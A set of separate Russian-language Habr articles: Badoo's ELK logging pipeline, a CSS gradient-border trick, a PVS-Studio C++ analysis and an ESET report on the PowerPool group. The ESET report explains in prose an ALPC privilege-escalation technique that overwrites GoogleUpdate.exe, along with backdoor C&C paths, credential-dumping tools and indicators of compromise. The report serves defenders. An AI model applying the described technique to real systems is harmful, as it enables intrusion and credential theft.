* использовать имеющиеся утилиты из набора ELK (logstash-forwarder, а теперь уже beats). Они представляют из себя отдельный демон, который следит за файлом на диске и заливает его в Logstash;
* использовать собственную разработку под именем LSD, которая у нас доставляет PHP-логи. По сути, это тоже отдельный демон, который следит за файлами с логами в файловой системе и заливает их куда-то. С одной стороны, в LSD были учтены и решены все проблемы, которые могут произойти при заливке огромного количества логов с огромного количества серверов, но система слишком «заточена» на PHP-скрипты. Нам бы пришлось ее доделывать;
* параллельно с записью на диск записывать логи в стандартный для мира UNIX syslog.
Несмотря на недостатки последнего, этот подход был очень прост, и мы решили попробовать именно его.
Архитектура
-----------
### Сервера и rsyslogd
Вместе с системными администраторами мы набросали архитектуру, которая показалась нам разумной: ставим один rsyslogd-демон на каждом сервере, один главный rsyslogd-демон на площадку, по одному Logstash на площадку и один кластер Elastic Search поближе к нам, к Москве, т.е. в пражский дата-центр.
В картинках один из серверов выглядел примерно так:
Т.к. в Badoo кое-где используется docker, то мы планировали прокинуть сокет /dev/log внутрь контейнера встроенными средствами.
Итоговая схема была примерно такая:
Придуманная выше схема выглядела для начала достаточно устойчивой к потере данных: каждый из rsyslogd-демонов, при невозможности передавать сообщения дальше, сохранит их на диск и отправит тогда, когда это «дальше» заработает.
Единственная потеря данных была возможна в случае, если бы не работал самый первый rsyslog-демон. Но мы не стали в тот момент уделять слишком много внимания этой проблеме. Все-таки логи — не настолько важная информация, чтобы с самого начала тратить на это много времени.
### Формат строчки лога и Logstash
Logstash — это труба для данных, в которую отправляются строчки. Внутри они парсятся и уходят в Elastic Search в виде готовых для индексирования полей и тегов.
Практически все наши сервисы построены с использованием собственной библиотеки libangel, а это значит, что формат логов у них одинаковый и выглядит следующим образом:
```
Mar 04 04:00:14.609331 [NOTICE] <16367> storage\_file.c:1212 storage\_\_\_update\_dump\_data(): starting dump (threaded, update)
```
Формат состоит из общей части, которая неизменна, и части, которую программист задает сам, когда вызывает одну из функций для логирования.
В общей части мы видим дату, время с микросекундами, уровень лога, метку, PID, имя файла и номер строки в исходниках, имя функции. Самые обычные вещи.
Syslog к этому сообщению добавляет информацию от себя: время, PID, hostname сервера и так называемый ident. Обычно это просто название программы, но туда можно передать все что угодно.
Мы этот ident стандартизовали и передаем туда имя, вторичное имя и версию демона. К примеру *meetmaker-ru.mlan-1.0.0*. Таким образом мы можем отличить логи от разных демонов, от разных типов одного демона (например, страна, реплика) и иметь информацию о запущенной версии демона.
Разбор такого сообщения довольно прямолинеен. Я не буду в статье приводить куски из конфигурационного файла, но все сводится с постепенному «выкусыванию» и парсингу частей строки с использованием обычных регулярных выражений.
Если какой-то этап парсинга был неуспешен, мы добавляем к сообщению специальный тег, который в дальнейшем позволяет находить такие сообщения и мониторить их количество.
Упомяну про разбор времени. Мы постарались учесть разные варианты, и временем сообщения по умолчанию будет время из libangel-сообщения, т.е. по сути время, когда это сообщение было сгенерировано. Если по какой-то причине это время не было найдено, мы возьмем время от syslog, т.е. время, когда сообщение ушло в первый локальный syslog-демон. Если по какой-то причине и это время недоступно, временем сообщения будет время приема этого сообщения в Logstash.
Получившиеся поля идут в Elastic Search для индексации.
[](https://habrastorage.org/files/b7b/0ff/c26/b7b0ffc2648940419be878dd95e63f6e.png)
### ElasticSearch
Elastic Search поддерживает работу в режиме кластера, когда несколько узлов объединяются в одну сеть и работают сообща. За счет того, что можно для каждого из индексов настроить репликацию на другой узел, кластер сохраняет работоспособность в случае выхода из строя некоторых узлов.
Минимальное количество узлов в отказоустойчивом кластере — три, первое нечетное число, которое больше единицы. Это связано с тем, что для работы внутренних алгоритмов необходимо, чтобы при разбиении кластера на части возможно было выделить большинство. Четное количество узлов для этого не подходит.
Мы выделили три сервера для кластера Elastic Search и настроили его так, чтобы каждый индекс имел одну реплику, как на схеме.
В такой архитектуре выход из строя любого из узлов кластера не фатален и не приводит к недоступности кластера.
Кроме собственно отказоустойчивости, при такой схеме удобно делать обновление самого Elastic Search: останавливаем один из узлов, обновляем его, запускаем, обновляем другой.
То, что мы храним в Elastic Search именно логи, позволяет нам легко поделить все данные на индексы по дням. Такое разбиение дает несколько преимуществ:
* в случае, если на серверах кончается место на диске, очень легко удалить старые данные. Это быстрая операция, и более того, для удаления старых данных есть готовый инструмент Curator;
* во время поиска в интервале больше одного дня поиск можно вести параллельно. Более того, его можно вести параллельно как на одном сервере, так и на нескольких.
Как уже было сказано, мы настроили [Curator](https://github.com/elastic/curator), чтобы автоматически удалять старые индексы при нехватке места на диске.
В настройке Elastic Search много тонкостей, связанных как с Java, так и просто с тем, что внутри используется Lucene. Но все эти тонкости описаны и в официальной документации, и в многочисленных статьях, поэтому я не буду углубляться. Кратко только упомяну, что на сервере Elastic Search нужно не забыть выделить память как под Java Heap, так и вне Heap (ее будет использовать Lucene), а также прописать «маппинги» конкретно для ваших полей в индексах, чтобы ускорить работу и уменьшить потребление места на диске.
### Kibana
Тут говорить вообще не о чем :-) Поставили и работает. К счастью, в последней версии разработчики добавили возможность менять часовой пояс в настройках. Раньше по умолчанию брался локальный часовой пояс пользователя, что очень неудобно, т.к. у нас на серверах везде и всегда UTC, и мы привыкли общаться именно по нему.
Система уведомлений
-------------------
Очень важной частью системы сбора логов и одним из основных требований было наличие системы уведомлений. Системы, которая на основе правил или фильтров рассылала бы письма, уведомляющие о срабатывании правила со ссылкой на страницу, где можно посмотреть подробности.
В мире ELK нашлись два похожих готовых продукта:
* [Watcher](https://www.elastic.co/products/watcher) от самой компании Elastic;
* [Elastalert](https://github.com/Yelp/elastalert) от [Yelp](http://www.yelp.com/).
Watcher — закрытый продукт от компании Elastic, требующий активную подписку. Elastalert — продукт open source, написаный на Python. Watcher мы отмели почти сразу по той же причине, что и раньше — закрытость и сложность расширения и адаптации под нас. Elastalert же по тестам показал себя классным продуктом, но и в нем было несколько минусов (впрочем, не очень критичных):
* он написан на Python. Мы любим Python в качестве языка для написания быстрых «наколеночных» скриптов, но не очень хотим его видеть на продакшене в качестве конечного продукта;
* возможности построения писем, которые система посылает в ответ на событие, совсем рудиментарны. А красота и удобство письма — это очень важно, если мы хотим, чтобы у других было желание пользоваться системой.
Поигравшись с Еlastalert и изучив его исходный код, мы решили написать продукт на PHP силами отдела платформы. В итоге Денис Карасик [Battlecat](https://habrahabr.ru/users/battlecat/) за 2 недели написал «заточенный» под нас продукт: он интегрирован в backoffice и имеет только нужный функционал.
[](https://habrastorage.org/files/3df/2d6/e44/3df2d6e44d9745dcab4c7799fbb4dd79.png)
[](https://habrastorage.org/files/bc8/37f/1c8/bc837f1c852f4f75b7413cdaff7026c4.png)
Для каждого правила система автоматически создает базовый dashboard в Kibana, ссылка на который будет в письме. При нажатии на ссылку вы увидите сообщения и график ровно за указанный в уведомлении промежуток времени.
[](https://habrastorage.org/files/bdf/a12/a63/bdfa12a63fdb426e8279767df8fec955.png)
[](https://habrastorage.org/files/bc0/d83/dc7/bc0d83dc730946b18ef0ef57fe011cce.png)
«Грабли»
--------
На этом этапе первый релиз системы был готов, работал и им можно было пользоваться. Но, как мы обещали, «грабли» не заставили себя ждать.
### Проблема 1 (syslog + docker)
Стандартный способ общения между syslog-демоном и программой является unix socket /dev/log. Как говорилось выше, мы его пробросили внутрь контейнера [стандартными средствами](https://docs.docker.com/engine/userguide/containers/dockervolumes/#mount-a-host-file-as-a-data-volume) docker. Эта связка отлично работала до тех пор, пока нам не понадобилось перегрузить syslog-демон.
Судя по всему, если перебрасывается конкретный файл, а не директория, то при удалении или пересоздании файла на хост-системе он уже не будет доступен внутри контейнера. Получается, что любая перезагрузка syslog-демона ведет к прекращению заливки логов из docker-контейнеров.
Если пробрасывать директорию целиком, то внутри без проблем может быть unix-сокет, и перезагрузка демона не нарушит ничего. Но тогда усложняется настройка всего этого богатства, ведь libc ожидает, что сокет находится в /dev/log.
Второй вариант, который мы рассматривали — использовать UDP или TCP для отправки логов наружу. Но тут такая же проблема, как и в предыдущем случае: libc умеет писать только в /dev/log. Нам бы пришлось писать свой syslog-клиент, а на данном этапе не хотелось этого делать.
В конце концов мы решили запустить по одному syslog-демону в каждом контейнере и продолжать писать в /dev/log стандартными libc функциями openlog()/syslog().
Это не было большой проблемой, т.к. наши системные администраторы все равно в каждом контейнере используют init-систему, а не запускают только один демон.
### Проблема 2 (блокирующий syslog)
На devel-кластере мы заметили, что один из демонов периодически зависает. Включив внутренний watchdog демона, мы получили несколько backtrace, которые показывали, что демон зависает в syslog() -> write().
```
==== WATCHDOG ====
tag: IPC_SNAPSHOT_SYNC_STATE
start: 3991952 sec 50629335 nsec
now: 3991953 sec 50661797 nsec
Backtrace:
/lib64/libc.so.6(__send+0x79)[0x7f3163516069]
/lib64/libc.so.6(__vsyslog_chk+0x3ba)[0x7f3163510b8a]
/lib64/libc.so.6(syslog+0x8f)[0x7f3163510d8f]
/local/meetmaker/bin/meetmaker-3.1.0_2782 | shard1: running(zlog1+0x225)[0x519bc5]
/local/meetmaker/bin/meetmaker-3.1.0_2782 | shard1: running[0x47bf7f]
/local/meetmaker/bin/meetmaker-3.1.0_2782 | shard1: running(storage_save_sync_done+0x68)[0x47dce8]
/local/meetmaker/bin/meetmaker-3.1.0_2782 | shard1: running(ipc_game_loop+0x7f9)[0x4ee159]
/local/meetmaker/bin/meetmaker-3.1.0_2782 | shard1: running(game+0x25b)[0x4efeab]
/local/meetmaker/bin/meetmaker-3.1.0_2782 | shard1: running(service_late_init+0x193)[0x48f8f3]
/local/meetmaker/bin/meetmaker-3.1.0_2782 | shard1: running(main+0x40a)[0x4743ea]
/lib64/libc.so.6(__libc_start_main+0xf5)[0x7f3163451b05]
/local/meetmaker/bin/meetmaker-3.1.0_2782 | shard1: running[0x4751e1]
==== WATCHDOG ====
```
Быстренько скачав исходники libc и посмотрев на реализацию syslog-клиента, мы поняли, что функция syslog() синхронна и любые задержки на стороне rsyslog скажутся на демонах.
Что-то с этим нужно было делать, и чем скорее, тем лучше. Но мы не успели…
Через пару дней мы наступили на самые неприятные грабли современных архитектур — каскадный отказ.
Rsyslog по умолчанию настроен так, что если внутренняя очередь по какой-то причине заполняется, он начинает «троттлить» (англ. throttle), т.е. тормозить «запись в себя» новых сообщений.
У нас получилось так, что по недосмотру программиста один из тестовых серверов начал посылать в лог огромное количество сообщений. Logstash не справлялся с таким потоком, очередь главного rsyslog переполнилась и он очень медленно вычитывал сообщения от других rsyslog. Из-за этого очереди других rsyslog тоже переполнились и они очень медленно вычитывали сообщения от демонов.
А демоны, как я говорил выше, пишут в /dev/log синхронно и без какого-либо таймаута.
Результат предсказуем: из-за одного флудящего тестового демона тормозить начали все демоны, которые пишут в syslog хоть с какой-то значимой частотой.
Еще одной ошибкой стало то, что мы не сказали о потенциальной проблеме системным администраторам, и на то чтобы, выяснить причину и отключить rsyslog, ушло больше часа.
Не [мы одни наступали](http://www.gossamer-threads.com/lists/rsyslog/users/7949) на эти грабли, оказывается. И даже [не только с rsyslog](https://coreos.com/blog/eliminating-journald-delays-part-1.html). Синхронные вызовы в event loop демона — непозволительная роскошь.
Перед нами было несколько вариантов:
* уходить от syslog. Возвращаться к одному из других вариантов, которые предполагают, что демон пишет на диск, а уже какой-то другой демон абсолютно независимо читает с диска;
* продолжать писать в syslog синхронно, но в отдельном треде;
* написать свой syslog-клиент и посылать данные в syslog по UDP.
Самым правильным вариантом, пожалуй, является первый. Но мы не хотели тратить время на него и быстро сделали третий, т.е. начали писать в syslog по UDP.
Что же касается Logstash, то все проблемы решили два параметра запуска: увеличение количества обработчиков и количества одновременно обрабатываемых строк (*-w 24 -b 1250*).
Планы на будущее
----------------
В ближайших планах сделать dashboard для наших демонов. Такой dashboard, который объединит в себе уже существующие и некоторые новые возможности:
* просмотр работоспособности демона («светофор»), его базовой статистики;
* графики количества строчек ERROR и WARNING в логах, их просмотр;
* сработавшие правила системы оповещений;
* SLA-мониторинг (мониторинг latency-ответов) с отображением проблемных сервисов или запросов;
* выделение из логов демона различных этапов. Например, отметка о том, на каком этапе загрузки он находится, время загрузки, длительность каких-то периодичных процессов и т.п.
Наличие такого dashboard, по моему мнению, придется по вкусу и менеджерам, и программистам, и администраторам, и мониторщикам.
Заключение
----------
Мы построили простую систему, которая собирает логи всех наших демонов, позволяет по ним удобно искать, строить графики и визуализации, уведомляет нас о проблемах по почте.
Об успехе системы говорит то, что за время ее существования мы в кратчайшие сроки обнаруживали те проблемы, которые раньше вообще бы не обнаружили или нашли спустя много времени, а также то, что инфраструктуру начинают использовать и другие команды.
Если говорить о нагрузке, то на данный момент в течение дня приходит от 600 до 2000 строчек с логами в секунду, с периодическими всплесками до 10 тысяч строчек. Данную нагрузку система переваривает без каких-либо проблем.
[](https://habrastorage.org/files/4ec/e5d/fcc/4ece5dfccd2d49b2952301cd9730069d.png)
Размер дневного индекса варьируется от десятка до сотни гигабайт.
[](https://habrastorage.org/files/1d7/95f/c0e/1d795fc0e59f4a758986e2cd3d0af40c.png)
Кто-то может сказать, что в этой системе есть недостатки и что некоторые «грабли» можно было бы обойти, сделав что-то иначе. Это правда. Но программируем мы не ради программирования. Наша цель была достигнута за разумно минимальное время и система настолько гибка, что неустраивающие нас в будущем части можно будет довольно легко улучшить или поменять.
*Марко Кевац, программист в отделе C/C++ разработки* | https://habr.com/ru/post/280606/ | null | ru | null |
# Кибергруппа PowerPool освоила уязвимость нулевого дня в Advanced Local Procedure Call
27 августа 2018 года в твиттере ИБ-специалиста с ником SandboxEscaper была опубликована информация об уязвимости нулевого дня. Уязвимость затрагивает версии Microsoft Windows с 7 по 10, точнее, интерфейс Advanced Local Procedure Call (ALPC) в Планировщике заданий Windows. Она обеспечивает локальное повышение привилегий (Local Privilege Escalation), что позволяет атакующему повысить права вредоносного кода от уровня User до SYSTEM. О скоординированном раскрытии уязвимости речь не идет – аккаунт SandboxEscaper вскоре удалили, закрывающие патчи отсутствовали.
Ссылка из твита вела в [репозиторий GitHub](https://github.com/SandboxEscaper/randomrepo/) с Proof-of-Concept кодом эксплойта – не только скомпилированной версией, но и исходным кодом. Следовательно, любой желающий мог модифицировать и перекомпилировать эксплойт, чтобы улучшить его, избежать обнаружения или включить в собственный код.
В общем, неудивительно, что всего через два дня эксплойт появился in the wild в кампании кибергруппы PowerPool. По данным телеметрии ESET, в числе целевых стран атакующих – Россия, Украина, Польша, Германия, Великобритания, США, Индия, Филиппины, Чили. Жертв сравнительно немного, что может указывать на высокую таргетированность кампании.
### Инструментарий PowerPool
ESET зафиксировала новую группу сравнительно недавно, тем не менее, в распоряжении хакеров PowerPool довольно широкий спектр инструментов. Далее кратко рассмотрим некоторые из них.
#### Эксплойт локального повышения привилегий в ALPC
Разработчики PowerPool не использовали бинарный файл, опубликованный SandboxEscaper, – они несколько изменили исходный код и перекомпилировали его. Эксплойт также был отмечен [исследователями безопасности](https://doublepulsar.com/task-scheduler-alpc-exploit-high-level-analysis-ff08cda6ad4f) и группами [CERT](https://www.kb.cert.org/vuls/id/906424).
*Рисунок 1. Авторское описание эксплойта*
Брешь – в функции API `SchRpcSetSecurity`, которая не проверяет корректно права пользователя. Таким образом, пользователь может записывать любой файл в `C:\Windows\Task`, вне зависимости от фактических разрешений – при наличии разрешения на чтение возможно заменить содержимое защищенного от записи файла.
Любой пользователь может записывать файлы в `C:\Windows\Task`, поэтому в этой папке можно создать файл, являющийся жесткой ссылкой на любой *целевой* файл. Затем, вызывая функцию `SchRpcSetSecurity`, можно получить доступ на запись этого целевого файла. Чтобы обеспечить локальное повышение привилегий, атакующему нужно выбрать целевой файл, который будет перезаписан – важно, чтобы этот файл выполнялся автоматически с правами администратора. Как вариант, это может быть системный файл или утилита для обновления ранее установленного ПО, которая выполняется регулярно. Последний шаг – замена содержимого целевого файла вредоносным кодом. Таким образом, при следующем автоматическом выполнении малварь будет обладать правами администратора вне зависимости от первоначальных прав.
Разработчики PowerPool решили изменить содержимое файла `C:\Program Files (x86)\Google\Update\GoogleUpdate.exe`. Это легитимный апдейтер для приложений Google, он регулярно выполняется с правами администратора посредством задачи Microsoft Windows.
*Рисунок 2. Создание жесткой ссылки на Google Updater*
*Рисунок 3. Использование SchRpcCreateFolder для смены разрешений исполняемого файла Google Updater*
Последовательность операций на рисунке выше позволяет операторам PowerPool получить права на запись исполняемого файла `GoogleUpdate.exe`. Затем они перезаписывают его, заменяя копией своего вредоносного ПО второго этапа (опишем ниже), чтобы получить права администратора при следующем вызове апдейтера.
### Начальная компрометация
Группа PowerPool использует разные методы для первоначальной компрометации жертвы. Один из них – спам-рассылка с вредоносным ПО первого этапа во вложении. Рано делать выводы, но пока мы наблюдали очень мало образцов в данных телеметрии, поэтому предполагаем, что получатели тщательно выбраны и о массовой рассылке речь не идет.
С другой стороны, мы знаем, что в прошлом PowerPool уже практиковали спам-рассылки. Согласно [посту в блоге SANS](https://isc.sans.edu/forums/diary/Malware+Distributed+via+slk+Files/23687), опубликованному в мае 2018 года, они использовали для распространения вредоносных программ схему с файлами Symbolic Link (.slk). Microsoft Excel может загрузить эти файлы, которые обновляют ячейку, и заставить Excel выполнять код PowerShell. Похоже, что эти .slk-файлы тоже распространяются в спам-сообщениях. На основе первого файла, упомянутого в посте SANS (SHA-1: b2dc703d3af1d015f4d53b6dbbeb624f5ade5553), можно найти на VirusTotal соответствующий образец спама (SHA-1: e0882e234cba94b5cf3df2c05949e2e228bedd2b):
*Рисунок 4. Спам PowerPool*
### Бэкдоры Windows
Группа PowerPool как правило работает с двумя бэкдорами: бэкдор первого этапа используется после первоначальной компрометации, бэкдор второго этапа внедряется только на интересующих машинах.
#### Бэкдор первого этапа
Это базовое вредоносное ПО, которое используется для разведки. Состоит из двух исполняемых файлов Windows.
Первый из них – основной бэкдор, обеспечивающий персистентность посредством службы. Он также создает мьютекс под названием `MyDemonMutex%d`, где `%d` находится в диапазоне от 0 до 10. Бэкдор собирает информацию о прокси, адрес C&C сервера жестко закодирован в бинарном файле. Малварь может выполнять команды и производить базовую разведку в системе, передавая данные на C&C сервер.
*Рисунок 5. Сбор информации о прокси*
Второй из исполняемых файлов имеет одно назначение. Он делает скриншот и записывает его в файл `MyScreen.jpg`, который затем может быть эксфильтрован основным бэкдором.
#### Бэкдор второго этапа
Малварь загружается в ходе первого этапа, предположительно в том случае, если машина покажется интересной операторам. Тем не менее, программа не похожа на современный АРТ-бэкдор.
Адрес C&C сервера жестко закодирован в двоичном формате, механизма обновления этого важного элемента конфигурации не предусмотрено. Бэкдор ищет команды от `http://[C&C domain]/cmdpool` и загружает дополнительные файлы с `http://[C&C domain]/upload`. Дополнительные файлы преимущественно являются инструментами для горизонтального перемещения, упомянутыми ниже.
Поддерживаемые команды:
— выполнить команду
— завершить процесс
— отправить файл
— скачать файл
— просмотреть содержимое папки
Команды отправляются в формате JSON. Примеры ниже – запросы на выполнение команд и перечисление папок:
*Рисунок 6. Примеры команд бэкдора*
### Инструменты для горизонтального перемещения
Обеспечив постоянный доступ к системе с помощью бэкдора второго этапа, операторы PowerPool используют несколько инструментов с открытым исходным кодом, написанные преимущественно на PowerShell, для горизонтального перемещения в сети.
— [PowerDump](https://github.com/rapid7/metasploit-framework/blob/master/data/exploits/powershell/powerdump.ps1): модуль Metasploit, который может извлекать имена пользователей и хеши из Диспетчера учетных записей безопасности (Security Account Manager).
— [PowerSploit](https://github.com/PowerShellMafia/PowerSploit): коллекция модулей PowerShell, а-ля Metasploit.
— [SMBExec](https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBEnum.ps1): инструмент PowerShell для выполнения атак pass-the-hash с использованием протокола SMB.
— [Quarks PwDump](https://blog.quarkslab.com/quarks-pwdump.html): исполняемый файл Windows, который может извлекать учетные данные.
— [FireMaster](https://securityxploded.com/firemaster.php): исполняемый файл Windows, который может извлекать сохраненные пароли из Outlook, веб-браузеров и др.
### Вывод
Раскрытие информации об уязвимостях до выхода обновлений ставит под угрозу пользователей. В данном случае может быть скомпрометирована даже новейшая версия Windows. [CERT-CC предлагает](https://www.kb.cert.org/vuls/id/906424) временное решение проблемы, которое, однако, не было официально согласовано Microsoft.
Атака PowerPool нацелена на ограниченное число пользователей. Тем не менее, инцидент показывает, что злоумышленники всегда в курсе событий и оперативно внедряют новые эксплойты.
Специалисты ESET продолжают отслеживать эксплуатацию новой уязвимости. Индикаторы компрометации доступны также [на GitHub](https://github.com/eset/malware-ioc/tree/master/powerpool).
### Индикаторы компрометации
#### Хеши
Бэкдор первого этапа (Win32/Agent.SZS) 038f75dcf1e5277565c68d57fa1f4f7b3005f3f3
Бэкдор первого этапа (Win32/Agent.TCH) 247b542af23ad9c63697428c7b77348681aadc9a
Бэкдор второго этапа (Win32/Agent.TIA) 0423672fe9201c325e33f296595fb70dcd81bcd9
Бэкдор второго этапа (Win32/Agent.TIA) b4ec4837d07ff64e34947296e73732171d1c1586
LPE-эксплойт ALPC (Win64/Exploit.Agent.H) 9dc173d4d4f74765b5fc1e1c9a2d188d5387beea
#### Детектирование продуктами ESET
— Win32/Agent.SZS
— Win32/Agent.TCH
— Win32/Agent.TEL
— Win32/Agent.THT
— Win32/Agent.TDK
— Win32/Agent.TIA
— Win32/Agent.TID
#### C&C серверы
— newsrental[.]net
— rosbusiness[.]eu
— afishaonline[.]eu
— sports-collectors[.]com
— 27.102.106[.]149 | https://habr.com/ru/post/422613/ | null | ru | null |
# CSS3 градиент для границ блока
В этой статье я покажу один из вариантов создания градиента для границ у любого блока с помощью CSS3.
В конечном варианте у нас получится кнопка, которая на скриншоте выше.
Работать мы будем с такой вёрсткой:
```
[I am a button!](http://google.com)
```
Сначала зададим простую стилизацию для кнопки
```
.magicButton
{
color: #444;
font: bold 16px arial;
background: #e4e4e4;
border: 1px solid transparent; /* граница будущего градента */
border-radius: 3px;
padding: 8px 12px;
text-decoration: none;
text-shadow: 0 1px 1px rgba(255,255,255,0.75);
box-shadow: inset 0 0 0 1px rgba(255,255,255,0.5), 0 3px 6px -3px rgba(0,0,0,0.25);
}
```
Затем приступаем, собственно, к хаку.
Для того чтобы создать градиент на месте нашей границы нам понадобится в первую очередь его расположить там (*background-origin: border-box;*), а затем обрезать чтобы он находился точно в этом месте (*background-clip: border-box;*).
Основная часть готова, теперь осталось лишь прописать наш градиент. В данном примере я использую градиент в светло-серых тонах, если вы используете кнопку не на светлом фоне, то цвета градиента надо будет соответственно изменить.
```
linear-gradient(#e4e4e4, #ccc);
```
Но после установки градиента появляется проблема в том что залито так же и весь фон кнопки. Для этого мы наложим ещё один градиент, только на этот раз расположим и обрежем его в пределах padding-box.
И в тоге получим вот такую кнопку: [jsfiddle.net/CyberAP/DzHUj](http://jsfiddle.net/CyberAP/DzHUj/)
Минусы данного приёма:
* Нельзя использовать полупрозрачный градиент для основного фона, произойдёт наложение. Зато прозрачную обводку делать вполне возможно.
* Есть проблема с border-radius, при значении более 3px по краям градиент начинает заметно обрезаться. Пока что не нашёл решения.
Но есть и плюсы:
* Никаких изображений и лишнего трафика.
* Можно ставить какой угодно градиент для обводки, даже радиальный, их комбиниорвать.
* Работает с любой шириной границы. | https://habr.com/ru/post/140760/ | null | ru | null |
# The Code Analyzer is wrong. Long live the Analyzer
Combining many actions in a single C++ expression is a bad practice, as such code is hard to understand, maintain, and it is easy to make mistakes in it. For example, one can instill a bug by reconciling different actions when evaluating function arguments. We agree with the classic recommendation that code should be simple and clear. Now let's look at an interesting case where the PVS-Studio analyzer is technically wrong, but from a practical point of view, the code should still be changed.
Order of arguments evaluation
-----------------------------
What I'm going to tell you about is a continuation of the old story about the order of argument evaluation, which we wrote about in the article "[How Deep the Rabbit Hole Goes, or C++ Job Interviews at PVS-Studio](https://www.viva64.com/en/b/0722/)".
The brief gist is as follows. The order in which function arguments are evaluated is unspecified behavior. The standard does not specify the order in which developers of compilers are required to calculate arguments. For example, from left to right (Clang) or from right to left (GCC, MSVC). Before the C++17 standard, if side effects occurred when evaluating arguments, this could lead to undefined behavior.
With the advent of the C++17 standard, the situation has changed for the better. Now the evaluation of an argument and its side effects will only be performed after all the evaluations and side effects of the previous argument are performed. However, this does not mean that there is no room for errors now.
Let's look at a simple test program:
```
#include
int main()
{
int i = 1;
printf("%d, %d\n", i, i++);
return 0;
}
```
What will this code print? The answer still depends on the compiler, its version, and its mood. Depending on the compiler, either "1, 1" or "2, 1"can be printed. Indeed, using the Compiler Explorer I will get the following results:
* a program compiled using [Clang 11.0.0](https://godbolt.org/z/YYs4Te) outputs "1, 1".
* a program compiled with [GCC 10.2](https://godbolt.org/z/q9oGz8) outputs "2, 1".
There is no undefined behavior in this program, but there is unspecified behavior (the order in which arguments are evaluated).
Code from the CSV Parser project
--------------------------------
Let's go back to the code fragment from the CSV Parser project that I mentioned in the article "[Checking a Header-Only C++ Library Collection (awesome-hpp)](https://www.viva64.com/en/b/0770/)".
The analyzer and I, we know that arguments can be evaluated in different order. Therefore, the analyzer, and so did I considered this code to be erroneous:
```
std::unique_ptr buffer(new char[BUFFER\_UPPER\_LIMIT]);
....
this->feed\_state->feed\_buffer.push\_back(
std::make\_pair<>(std::move(buffer), line\_buffer - buffer.get()));
```
PVS-Studio warning: [V769](https://www.viva64.com/en/w/v769/) The 'buffer.get()' pointer in the 'line\_buffer — buffer.get()' expression equals nullptr. The resulting value is senseless and it should not be used. csv.hpp 4957
In fact, we are both wrong, and there is no error. I'll tell about nuances further, let's start with a simple question.
Let's find out why it's dangerous to write code like this:
```
Foo(std::move(buffer), line_buffer - buffer.get());
```
I think you can guess the answer. The result depends on the order in which the arguments are evaluated. Let's look at this in the following synthetic code:
```
#include
#include
void Print(std::unique\_ptr p, ptrdiff\_t diff)
{
std::cout << diff << std::endl;
}
void Print2(ptrdiff\_t diff, std::unique\_ptr p)
{
std::cout << diff << std::endl;
}
int main()
{
{
std::unique\_ptr buffer(new char[100]);
char \*ptr = buffer.get() + 22;
Print(std::move(buffer), ptr - buffer.get());
}
{
std::unique\_ptr buffer(new char[100]);
char \*ptr = buffer.get() + 22;
Print2(ptr - buffer.get(), std::move(buffer));
}
return 0;
}
```
Let's use the Compiler Explorer again and see the result of this program compiled by different compilers.
Clang 11.0.0 Compiler. [Result](https://godbolt.org/z/xnEoGj):
```
23387846
22
```
GCC 10.2 compiler. [Result](https://godbolt.org/z/as7Wx3):
```
22
26640070
```
The result is as expected. But one just can't write like this. This is what the PVS-Studio analyzer warns us about.
I wish I could put an end to this, but everything is a little more complicated. The fact is that we are talking about passing arguments by value, whereas when instantiating the template of the *std::make\_pair* function, everything will be different. So, we will continue to dive into the subtleties and find out why PVS-Studio is wrong in this case.
std::make\_pair
---------------
Let's refer to the cppreference site and see how the template for the *[std::make\_pair](https://en.cppreference.com/w/cpp/utility/pair/make_pair)* function was changing.
Until C++11:
> template< class T1, class T2 >
>
> std::pair make\_pair( T1 t, T2 u );
Since C++11, until C++14:
> template< class T1, class T2 >
>
> std::pair make\_pair( T1&& t, T2&& u );
Since C++14:
> template< class T1, class T2 >
>
> constexpr std::pair make\_pair( T1&& t, T2&& u );
As you can see, once upon a time *std::make\_pair* was taking arguments by value. If *std::unique\_ptr* had existed at that time, then the code above would have been indeed incorrect. Whether this code would work or not would be a matter of luck. In practice, of course, this situation would never have occurred, since *std::unique\_ptr* appeared in C++11 as a replacement for *std::auto\_ptr*.
Let's go back to our time. Starting with C++11, the constructor started to use move semantics.
There is a subtle point here that *std::move* does not actually move anything, but only converts the object to an *rvalue* reference. This allows *std::make\_pair* to pass a pointer to the new *std::unique\_ptr*, leaving *nullptr* in the original smart pointer. But passing of this pointer won't happen until we get inside *std::make\_pair*. By then, we will have evaluated *line\_buffer — buffer.get()*, and everything will be fine. In other words, a call to the *buffer.get()* function can't return *nullptr* at the moment it is evaluated, regardless of when exactly this happens.
I apologize for the complicated description. The bottom line is that this code is quite correct. And in fact, the PVS-Studio static analyzer gave a false positive in this case. However, our team is not sure if we should rush to make changes to the analyzer's logic for such situations.
The King is dead. Long live the King!
-------------------------------------
We found out that the warning described in the [article](https://www.viva64.com/en/b/0770/) was false. Thanks to one of our readers who drew our attention to the implementation of *std::make\_pair*.
However, this is the case when we are not sure that we should improve the behavior of the analyzer. The fact is that this code is too confusing. You have to admit that the code above does not deserve such a detailed investigation resulting in the entire article. If this code requires so much attention, it is janky code.
It is fitting here to recall the article "[False positives are our enemies, but may still be your friends](https://blog.sonarsource.com/false-positives-our-enemies-but-maybe-your-friends)". The post is not ours, but we agree with it.
This is probably the case. The warning may be false, but it points to a better place to refactor. The author can just write something like this:
```
auto delta = line_buffer - buffer.get();
this->feed_state->feed_buffer.push_back(
std::make_pair(std::move(buffer), delta));
```
In this case, one can make the code even better by using the *emplace\_back* method:
```
auto delta = line_buffer - buffer.get();
this->feed_state->feed_buffer.emplace_back(std::move(buffer), delta);
```
Such code creates the final *std::pair* object in the container "in place", bypassing creating a temporary object and moving it to the container. By the way, the PVS-Studio analyzer offers to make such a replacement by issuing the [V823](https://viva64.com/en/w/v823/) warning from the set of rules for code micro-optimizations.
The code will definitely become easier and clearer for any reader and analyzer. There is no merit in putting as many actions as possible in one line of code.
Well, in this case there is no error due to pure chance. Still it is unlikely that the author kept in mind all that we discussed when writing this code. Most likely, it was luck that played its part. And other times one might not be that lucky.
Conclusion
----------
So, we figured out that there is no real error. The analyzer issues a false positive. We may or may not remove the warning for such cases. We'll think over it. After all, this is a fairly rare case. The code where arguments are evaluated with side effects is generally dangerous, and it is better not to allow it. It is worth refactoring at least for preventive purposes.
The code as the following:
```
Foo(std::move(buffer), line_buffer - buffer.get());
```
can be easily crashed by changing something else in the program. This code is hard to maintain. It is also nasty because it may give you the false impression that everything is working correctly. In fact, this is just a set of circumstances, and everything can crash when changing a compiler or optimization settings.
Write simple code! | https://habr.com/ru/post/530852/ | null | en | null |
# JavaScript: примеры реализации некоторых математических выражений
Привет, друзья!
